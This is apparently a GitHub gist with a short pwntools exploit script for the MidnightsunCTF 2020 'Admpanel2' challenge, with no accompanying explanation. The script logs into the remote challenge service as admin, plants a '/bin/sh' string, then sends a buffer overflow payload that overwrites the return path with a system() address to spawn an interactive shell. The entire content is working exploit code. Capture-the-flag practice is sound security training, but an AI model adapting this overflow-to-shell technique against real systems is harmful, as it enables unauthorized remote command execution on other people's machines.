Skip to content

Instantly share code, notes, and snippets.

@zommiommy
Created April 4, 2020 19:08
Show Gist options
  • Save zommiommy/e67bcc6f738b6148b3bdfc3525c0d4ec to your computer and use it in GitHub Desktop.
Save zommiommy/e67bcc6f738b6148b3bdfc3525c0d4ec to your computer and use it in GitHub Desktop.
MidnightsunCTF 2020 Admpanel2
from pwn import *
s = remote("admpanel2-01.play.midnightsunctf.se", 31337)
system = 0x000000000401598
username_addr = 0x000000000040159B
s.sendline("1")
s.sendline("admin")
s.sendline("password")
s.sendline("1")
s.sendline("/bin/sh" + " " * 1024 )
s.sendline("2")
s.sendline("A" * cyclic_find("raac") + p64(system) + p64(username_addr))
s.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment